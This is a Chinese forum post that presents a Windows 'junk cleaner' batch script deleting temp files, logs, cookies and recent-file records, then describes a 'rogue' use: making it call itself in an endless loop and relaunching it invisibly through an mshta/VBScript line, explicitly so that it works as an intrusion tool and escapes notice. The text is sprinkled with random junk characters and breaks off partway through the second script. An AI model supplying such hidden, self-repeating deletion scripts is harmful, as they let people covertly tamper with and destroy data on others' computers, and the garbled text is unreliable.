【原创】再谈垃圾清除的批处理和其流氓运用!
[size=5][b]大家经常会看到这个垃圾清除的的BAT程序,也就是很多人所说的30秒清除所有的系统他及程序 说实话这个批处理效果确实不错 ,速度快而且不重不漏!系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善,要是能够自动检测系统中的垃圾文件并且删除那该多好啊![/b][/size]a.bat源代码如下:h9KB1[b?1T!q
[color=#003366][b][color=royalblue][/color])\)Hj Nf T4f
h:y5Q7{H^[T/}
===可以直接保存改名a.bat=====================
@echo offN:[+t(C*B]Sf1qw
echo 正在清除系统垃圾文件,请稍等...... l/f&zE|[%xo
@del /f /s /q %systemdrive%\*.tmp
@del /f /s /q %systemdrive%\*._mp
@del /f /s /q %systemdrive%\*.log j;`}Az-iZ
@del /f /s /q %systemdrive%\*.gid m;EI#f;S2RE9?
@del /f /s /q %systemdrive%\*.chk ;e {)V}}
@del /f /s /q %systemdrive%\*.old
@del /f /s /q %systemdrive%\recycled\*.*
@del /f /s /q %windir%\*.bak
@del /f /s /q %windir%\prefetch\*.* /ke3r(j!Us/F$wG
@rd /s /q %windir%\temp & md %windir%\temp Q3W/J#{Hyht
@del /f /q %userprofile%\cookies\*.*
@del /f /q %userprofile%\recent\*.*
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*" 1Ub_Y0|w1Id
@del /f /s /q "%userprofile%\recent\*.*"
echo 清除系统LJ完成![/b][/color]
[size=5]其实简单的一句话便实现了那个功能,在“echo 清除系统LJ完成!”后面加上一句 “call a.bat”就OK了,命令的意思大家都懂,我就不做解释了!我运行了一下,到是能够自动检测和删除了,而且关掉对话框也简单,直接关闭就行了!但是如果 被当作入侵工具却又点太暴露,并且那个DOS框始终不能隐藏,很容易被发现.这该怎么办?想想批处理里面的命令,貌似没见到有隐藏对话框的用法(如果有请告诉指教一下!我的QQ:118122875),于是到网上找了一下,决定用VBS代码实现,于是又加上了下面的代码,其实也很简单,也就加了一句话进去:[/size]V j*W$Xm4x:v8HT
[color=#ff0000][b]===可以直接保存改名为a.bat[size=2][color=#0000ff](一定要是a.bat哦具体说明原因你应该明白吧======[/color]lV3wpb-j
[/size]@echo offTJv/oZ1s&rX(H.O;o5C+g
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
echo 正在清除系统垃圾文件,请稍等......
@@del /f /s /q %systemdrive%\*.tmp /M~Y u{5s e9u
@del /f /s /q %systemdrive%\*._mp
@del /f /s /q %systemdrive%\*.log
@del /f /s /q %systemdrive%\*.gid